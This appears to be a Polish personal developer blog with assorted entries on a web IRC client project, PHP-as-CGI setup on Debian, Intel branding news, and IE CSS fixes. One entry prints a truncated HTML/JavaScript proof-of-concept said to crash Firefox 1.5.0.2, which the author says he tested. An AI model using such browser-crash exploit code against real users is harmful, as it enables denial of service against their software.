W ostatnich dniach, w czasie różnych przemyśleń nachodziły mnie sentymentalne wspomnienia. Wspomnienia z “elektronicznych” czasów, kiedy bawiłem się elektroniką i byłem nią zafascynowany. Wczoraj znów dopadł mnie ten stan, gdy trafiłem na strony EdW, jej portalu i forum.
Swoją elektroniczną przygodę rozpocząłem razem z numerem 8/97 “Elektroniki dla Wszystkich” (EdW), a przynajmniej tak mi się wydaje. Na pewno był to mój pierwszy numer jaki zakupiłem. Zamieszczony był w nim układ bomby zegarowej - AVT-2144 (to zapamiętałem do dnia dzisiejszego).
Jestem zmuszony zmienić nazwę mojego projektu MajIRC na maIRC, albo na coś innego, co jeszcze uda mi się wymyślić. Powodem tej zmiany jest istnienie już projektu o takiej samej nazwie jaką wybrałem dla swojego webowego klienta IRC.
Projektem tym jest klient IRC-a napisany w Javie jako aplet na www - Magical Java IRC (MaJIRC).
No, to teraz nową nazwą mojego projektu klienta irc-owego będzie maIRC :)
Trzeba będzie zmienić kilka tekstów na www, a na DevBlogu pozostanie jak było.
Intel poinformował, że nowe desktopowe procesory dwurdzeniowe nie będą już oferowane pod marką Pentium. Firma definitywnie rezygnuje z nazwy Pentium, mimo, iż marka ta towarzyszyła producentowi procesorów od ponad 13 lat.
Nowa generacja procesorów o kodowych nazwach Merom dla mobilnych urządzeń i Conroe dla desktopów będą nosiły nazwę Core 2 Duo, Intel Core 2 oraz Intel Core 2 Extreme zamiast spodziewanych Pentium i Pentium Extreme Edition.
Pojawią się też nowe oznaczenia układów.
Jednak się pokusiłem na rekonfigurację Debiana. PHP jako CGI przyda się na pewno w przyszłości, choć teraz nie wiem którą wersję wrzucić, PHP4 czy już lepiej PHP5. Miałbym wtedy 4-kę jako moduł Apache’a i 5-kę jako CGI.
Główną różnicą w wersji CGI jest parokrotnie niższa wydajność niż modułu Apache’a. Do tego nie wszystkie zmienne systemowe mogą być przekazane w trybie CGI. Ale za to, wynagrodzeniem jest uruchamianie skryptu z prawami usera oraz możliwość uruchamiania spod shella skryptów PHP, co najbardziej było mi potrzebne :)
Mam problem, potrzebuję na serwerze PHP działające jako CGI, a nie jako moduł Apache’a jak jest to do tej pory. Mam 2 wyjścia z tego problemu, albo reconfig serwera na Debianie, kompilacja źródełek lub coś tam jeszcze, żeby PHP ruszyło pod konsolą, albo przepisać fragmenty kodu, bramkę (majircs.php i dodatkową klasę) w Perlu…
Chyba jednak wybiorę Perla :)
Dawno miałem się zagłębić w ten język, teraz przynajmniej będzie większa motywacja, bo jest to (bramka majirc’a) potrzebne na już, żeby jak najszybciej uruchomić na serwerze MajIRC-a w wersji beta.
Pracuję nad MajIRCem, ostatnio może trochę mniej nad samą główną aplikacją (jeśli można to w ogóle nazwać aplikacją), ale staram się jak najprędzej uruchomić jakąś wersję beta :)
A tymczasem dziś w nocy powstała strona projektu. Dostępna jest aktualnie/tymczasowo (a może docelowo nawet zostanie tam) pod tym adresem. Będzie rozwijana razem z projektem…
W bieżącej wersji jest to bardzo prosta konstrukcja oparta na plikach tekstowych. Nie chciałem robić statycznej strony, aby wszelkie zmiany wyglądu i szablonu nie pociągały przemielenia wszystkich podstron.
Google jest bardzo oburzone, ma żal i pretensje do Microsoftu. Wszystko przez to, że Microsoft w najnowszej wersji swojego produktu, przeglądarki Internet Explorer, umieścił swoją wyszukiwarkę MSN Search jako domyślną na pasku narzędziowym. A to wydaje się raczej normalnym zachowaniem. Przecież każdy wykorzystuje swoje rozwiązania, stara się je wszędzie promować i wdrażać, a tym bardziej w swoich produktach.
Niestety przedstawiciele firmy Google. domagają się, aby podczas instalacji IE7 pojawiało się pytanie, którą wyszukiwarkę ustawić jako domyślną.
Znaleziono groźny bug w tej “wspaniałej” przeglądarce. Pojawił się exploit wysypujący najnowszego Firefoksa (1.5.0.2) :)
Na informacje o tym błędzie natknąłem się w notce Piotra Koniecznego.
Przetestowałem i potwierdzam działanie exploita, a poniżej znajduje się ten magiczny kodzik wyprawiający cuda.
<textarea cols="0" rows="0" id="x_OtherInfo" name="x_OtherInfo"> </textarea> <script> var textarea = document.getElementsByName("x_OtherInfo"); textarea=textarea.item(0); var htmlarea = document.createElement("div"); htmlarea.className = "htmlarea"; textarea.parentNode.insertBefore(htmlarea, textarea); var iframe = document.createElement("iframe"); htmlarea.appendChild(iframe); var doc = iframe.contentWindow.document; doc.
Od roku dokumentacja języka PHP w formacie CHM, w polskiej wersji językowej, dostępna na stronie projektu (php.net) jest uszkodzona. Plik zamiast ponad 6 MB ma objętość 401 KB. Dlatego do tej pory musiałem się zadowalać jakąś starszą wersją (bodajże z 2004 roku).
Niestety plik ten utraciłem w czasie pamiętnej awarii dysku. Dlatego zacząłem poszukiwania tego magicznego pliku (php_manual_pl.chm) w sieci. Ale na nic zdały się skanowania różnych serwerów i mirrorów. Dopiero Google pomogło ;)
Znalazłem jeszcze kilka skryptów na stronie osiolki.net/faq/iefix, które “poprawiają” obsługę standardu CSS w IE:
png behaviour - pozwala na wyświetlanie PNG z kanałem alpha fixed.js - umożliwia obsługę position:fixed i background:fixed minmax.js - zmusza IE do respektowania min-width i max-width position.js - umożliwia nadawanie wielkości obiektom przez podanie pozycji ich krawędzi (left i right albo top i bottom) W międzyczasie powstaje jeszcze projekt IE7, który łączy ze sobą te i inne łaty, jak obsługa selectorów CSS2, wielu klas, a w planach jest obsługa generated content, <abbr/> i innych.